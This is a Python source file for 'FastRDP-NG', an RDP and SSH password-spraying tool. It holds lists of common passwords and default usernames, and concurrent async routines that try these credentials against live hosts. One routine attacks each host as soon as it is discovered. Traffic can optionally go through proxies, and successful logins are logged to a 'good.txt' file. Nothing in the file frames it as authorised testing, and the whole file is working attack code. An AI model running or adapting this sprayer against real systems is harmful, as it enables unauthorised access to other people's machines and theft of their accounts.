""" FastRDP-NG: RDP Password Sprayer. Tries top common passwords against live RDP hosts using subprocess. Supports optional proxy routing via ProxyManager. """ import asyncio import logging import os import subprocess import time from typing import List, Tuple, Set, Optional logger = logging.getLogger("FastRDP-NG") _CRED_FALLBACK_WARNED = False def get_rdpthread_path() -> Optional[str]: """Resolve rdpthread.exe beside this package, or None if not deployed.""" base = os.path.dirname(os.path.abspath(__file__)) for p in ( os.path.join(base, "rdpthread.exe"), os.path.join(base, "..", "rdpthread.exe"), os.path.join(base, "bin", "rdpthread.exe"), ): if os.path.exists(p): return p return None def credential_validation_available() -> bool: """True if rdpthread is present so password attempts can be validated.""" return get_rdpthread_path() is not None def _subprocess_run_no_console(cmd: List[str], **kwargs): """Windows: hide console window for subprocess if supported.""" if hasattr(subprocess, "CREATE_NO_WINDOW"): kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW) return subprocess.run(cmd, **kwargs) # Top 50 most common RDP passwords (by frequency in breaches) TOP50_PASSWORDS = [ "admin", "Admin", "password", "Password", "123456", "administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1", "password1", "password123", "password1234", "Password01!", "PASSWORD123", "passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678", "123456789", "1234567890", "letmein", "welcome", "monkey", "dragon", "master", "login", "abc123", "test", "test123", "pass", "Pass", "P@ss", "qwerty123", "qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1", "sunshine", "princess", "football", "baseball", "welcome1", "admin123", "Admin123", "password!", "password.", "password00", ] # Top usernames for RDP TOP_USERNAMES = [ "Administrator", "Admin", "admin", "administrator", "User", "user", "GuestUser", "Guest", "root", ] # Guest-focused usernames (used when guest mode is enabled) GUEST_USERNAMES = [ "guest", "Guest", "guestuser", "GuestUser", "GUEST", "test", "Test", "user", "User", "visitor", "anonymous", "Anonymous", "temp", "Temp", "default", ] # Top passwords for guest/weak account testing GUEST_PASSWORDS = [ "guest", "Guest", "password", "Password", "123456", "guest123", "welcome", "letmein", "test", "Test123", "changeme", "default", "temp123", "user", "User123", "", # empty password ] async def spray_password( ip: str, port: int, username: str, password: str, timeout: float = 5.0, proxy_manager=None, ) -> Tuple[str, int, str, str, bool]: """ Try a single credential pair against an RDP host. Supports optional proxy routing via proxy_manager. Attempts to find rdpthread.exe in common locations, then falls back to RDP banner detection (connectivity check only). Returns (ip, port, username, password, success). """ global _CRED_FALLBACK_WARNED rdpthread_path = get_rdpthread_path() if rdpthread_path: try: result = _subprocess_run_no_console( [rdpthread_path, ip, str(port), username, password], capture_output=True, timeout=timeout, ) output = result.stdout.decode('utf-8', errors='ignore').lower() success = ( "success" in output or "connected" in output or "authenticated" in output or result.returncode == 0 ) return (ip, port, username, password, success) except (FileNotFoundError, subprocess.TimeoutExpired, subprocess.CalledProcessError, OSError): pass # Binary exists but attempt failed — fall through to connectivity check only. if rdpthread_path is None: if not _CRED_FALLBACK_WARNED: _CRED_FALLBACK_WARNED = True logger.debug( "rdpthread.exe not in application directory; credential validation " "unavailable until deployed (scanner unaffected)." ) # Fallback: RDP banner check (confirms RDP service is running) # When proxy is enabled, route through proxy open_conn = asyncio.open_connection if proxy_manager and proxy_manager.enabled: open_conn = proxy_manager.open_connection try: reader, writer = await asyncio.wait_for( open_conn(ip, port), timeout=2.0 ) try: try: data = await asyncio.wait_for( reader.read(4), timeout=1.0 ) except (asyncio.TimeoutError, ConnectionError, OSError): data = b"" # TPKT header (0x03) — RDP; we never report success without rdpthread above if len(data) >= 2 and data[0] == 0x03: return (ip, port, username, password, False) return (ip, port, username, password, False) finally: try: writer.close() await writer.wait_closed() except (OSError, ConnectionError, RuntimeError): pass except (asyncio.TimeoutError, ConnectionRefusedError, OSError): return (ip, port, username, password, False) async def spray_all_hosts( live_hosts: Set[Tuple[str, int]], usernames: List[str] = None, # type: ignore passwords: List[str] = None, # type: ignore max_concurrent: int = 100, timeout: float = 5.0, progress_callback=None, proxy_manager=None, ) -> List[Tuple[str, int, str, str]]: """ Spray passwords across all live hosts in rounds: for each password, try that password with every (host, username) combo before advancing. Supports optional proxy routing. Returns list of (ip, port, username, password) successful hits. """ if usernames is None: usernames = TOP_USERNAMES if passwords is None: passwords = TOP50_PASSWORDS sem = asyncio.Semaphore(max_concurrent) hits = [] hits_written = 0 total_attempts = len(live_hosts) * len(passwords) * len(usernames) attempts = 0 start_time = time.time() async def try_combo(ip: str, port: int, user: str, pwd: str): nonlocal attempts async with sem: _, _, u, p, success = await spray_password( ip, port, user, pwd, timeout, proxy_manager=proxy_manager ) attempts += 1 if success: hits.append((ip, port, u, p)) if progress_callback and attempts % 100 == 0: elapsed = time.time() - start_time rate = attempts / elapsed if elapsed > 0 else 0 progress_callback(attempts, total_attempts, len(hits), rate) return success logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...") # Spray strategy: for each password, try it against ALL hosts first # This is the "password spraying" approach - avoids lockouts tasks = [] for password in passwords: for ip, port in live_hosts: for username in usernames: tasks.append(asyncio.create_task( try_combo(ip, port, username, password) )) # Execute this password batch before moving to next password if tasks: await asyncio.gather(*tasks, return_exceptions=True) if len(hits) > hits_written: _write_hits(hits[hits_written:]) hits_written = len(hits) tasks = [] elapsed = time.time() - start_time rate = attempts / elapsed if elapsed > 0 else 0 if progress_callback and total_attempts > 0: progress_callback(attempts, total_attempts, len(hits), rate) logger.info( f"Spray complete: {len(hits)} hits from {attempts} attempts " f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)" ) return hits async def spray_single_host( ip: str, port: int, usernames: List[str] = None, passwords: List[str] = None, max_concurrent: int = 50, timeout: float = 5.0, hit_callback=None, proxy_manager=None, ) -> List[Tuple[str, int, str, str]]: """ Spray ALL passwords against a SINGLE host immediately. Called as soon as a host is discovered — no need to wait for full scan. Supports optional proxy routing. hit_callback(ip, port, user, password): called on each successful hit. Returns list of (ip, port, username, password) hits. """ if usernames is None: usernames = TOP_USERNAMES if passwords is None: passwords = TOP50_PASSWORDS sem = asyncio.Semaphore(max_concurrent) hits: List[Tuple[str, int, str, str]] = [] async def try_combo(user: str, pwd: str): async with sem: _, _, u, p, success = await spray_password( ip, port, user, pwd, timeout, proxy_manager=proxy_manager ) if success: hits.append((ip, port, u, p)) if hit_callback: hit_callback(ip, port, u, p) # Fire all tasks tasks = [] for user in usernames: for pwd in passwords: tasks.append(asyncio.create_task(try_combo(user, pwd))) if tasks: await asyncio.gather(*tasks, return_exceptions=True) # Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there). if hits and hit_callback is None: _write_hits(hits) return hits # ── SSH PASSWORD SPRAY ──────────────────────────────────────────────── def _try_ssh_password(ip: str, port: int, username: str, password: str, timeout: float) -> bool: """Synchronous SSH password attempt using paramiko. Runs in a thread executor to avoid blocking the event loop.""" try: import paramiko import socket client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect( ip, port=port, username=username, password=password, timeout=timeout, look_for_keys=False, allow_agent=False, banner_timeout=timeout, ) client.close() return True except paramiko.AuthenticationException: return False except (paramiko.SSHException, OSError, socket.timeout, EOFError, ConnectionResetError): return False except ImportError: return False async def spray_ssh_single_host( ip: str, port: int = 22, usernames: List[str] = None, passwords: List[str] = None, max_concurrent: int = 30, timeout: float = 5.0, hit_callback=None, proxy_manager=None, ) -> List[Tuple[str, int, str, str]]: """ Spray passwords against an SSH host using paramiko. Falls back to banner-only check if paramiko is not installed. When proxy is enabled, falls back to SSH banner check only (paramiko doesn't support SOCKS natively). """ if usernames is None: usernames = TOP_USERNAMES if passwords is None: passwords = TOP50_PASSWORDS # If proxy is enabled or paramiko not available, fall back to banner check use_banner_fallback = bool(proxy_manager and proxy_manager.enabled) sem = asyncio.Semaphore(max_concurrent) hits: List[Tuple[str, int, str, str]] = [] async def try_combo(user: str, pwd: str): async with sem: if use_banner_fallback: # Just do a TCP/banner check (confirms SSH is alive) open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection try: _, writer = await asyncio.wait_for( open_conn(ip, port), timeout=timeout ) writer.close() await writer.wait_closed() # Can't validate creds through proxy, but host is alive except (asyncio.TimeoutError, OSError, ConnectionError): pass return # Run paramiko in thread executor (it's synchronous) loop = asyncio.get_running_loop() success = await loop.run_in_executor( None, _try_ssh_password, ip, port, user, pwd, timeout ) if success: hits.append((ip, port, user, pwd)) if hit_callback: hit_callback(ip, port, user, pwd) # Fire all tasks tasks = [] for user in usernames: for pwd in passwords: tasks.append(asyncio.create_task(try_combo(user, pwd))) if tasks: await asyncio.gather(*tasks, return_exceptions=True) if hits and hit_callback is None: _write_hits(hits) return hits def _write_hits(hits: List[Tuple[str, int, str, str]]): """Write successful hits to results file immediately.""" output_path = os.path.join( os.path.dirname(os.path.abspath(__file__)), "results", "good.txt", ) os.makedirs(os.path.dirname(output_path), exist_ok=True) with open(output_path, 'a') as f: for ip, port, user, pwd in hits: line = f"{user}:{pwd}@{ip}:{port}\n" f.write(line) print(f"\n[+] HIT! {line.strip()}")